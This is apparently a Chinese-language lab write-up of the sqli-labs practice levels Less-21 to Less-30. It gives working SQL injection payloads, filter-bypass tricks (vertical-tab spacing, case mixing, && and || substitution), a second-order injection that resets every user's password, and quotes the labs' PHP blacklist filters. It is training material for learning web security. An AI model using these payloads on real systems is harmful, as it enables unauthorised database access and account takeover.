Less-21:
依旧是 cookie 注入,只不过用 base64 编码了一下,也可以显注.
Less-22:
双引号
Less-23:
单引号报错,但是注释符都被过滤了,问题不大,我们自己把后面的单引号闭合掉就好了
payload:
id=-2%27%20union%20select%201,database(),%273
Less-24:
二次注入,注册一个用户名为:aaa’ or 1=1#的用户名
然后再重置密码
就可以修改所有用户的密码了
Less-25:
字符型注入
过滤了 and 和 or
可以用 && 和 || 替换
Less-25a:
数字型注入,其余同上
Less-26:
空格和注释被过滤,空格可以用%0a %09 %0b等替换,在这里 %0b 没有被过滤
payload:
id=100%27%0bunion%0bselect%0b1,database(),%273
有点好奇他是怎么过滤的,为什么0x0a(换行符) 0x09(tab) 都不行呢?
于是看了一下源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
可以看到是用了正则表达式中的 \s 来过滤空格字符
看来 0x0b(垂直制表符)是不在正则表达式 \s 之中的,记一下
Less-26a:
比Less-26 多了个括号包裹
payload:
100%27)%0bunion%0bselect%0b1,database(),(%273
Less-27:
过滤了 union 和 select
可以大小写绕过
payload:
id=100%27%0bunIon%0bseleCt%0b1,database(),%273
Less-27a:
和上面的一样,只不过单引号变成双引号
payload:
id=0%22%0bunIon%0bseLect%0a%201,database(),%222
Less-28:
过滤了 union select 在一起的情况,尝试了大小写绕过,注释绕过等等方式都失败了,那干脆就不用 union 联合查询了么。。。改用布尔注入
payload:
id=1%27%0aand%0amid(database(),1,1)=%27s
脚本和之前写的一样,就不再发了
Less-28a:
上面的 payload 依然有效
那么比较一下两题的源码
Less-28:
过滤函数:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
注入点部分:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
......
原来注入点是有括号包裹的….,怪不得之前怎么绕 union select 都不行,那还记得上面我们学到的东西么
0x0b即可绕过正则的\s,
也就是Less-28也是可用 union 联合查询的,payload如下:
id=0%27)%0bunion%0bselect%0b1,2,(%273
那么为什么我们之前的 payload 没有闭合括号也能使用呢??
我们来看一下之前的 payload 拼接后的逻辑:
$sql="SELECT * FROM users WHERE id=('$id' and mid(database(),1,1)='s') LIMIT 0,1";
可以看到括号内是一个语法正确的布尔表达式,值为 0 或 1,即无论 $id 的值是多少,其查询的都是id字段为 0 或者 1 的数据,利用返回数据的差异,也可以进行注入。
回过头来继续看 Less-28a 的源码:
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
过滤逻辑比28只少不多。。。怪不得payload还可以通用
Less-29:
他说他的站点被世界上最好的防火墙保护着,我觉得我受到了欺骗。。压根什么过滤都没有。。我还以为过滤了information_schema,特意查了一下table_name验证。。。。
Less-30:
双引号……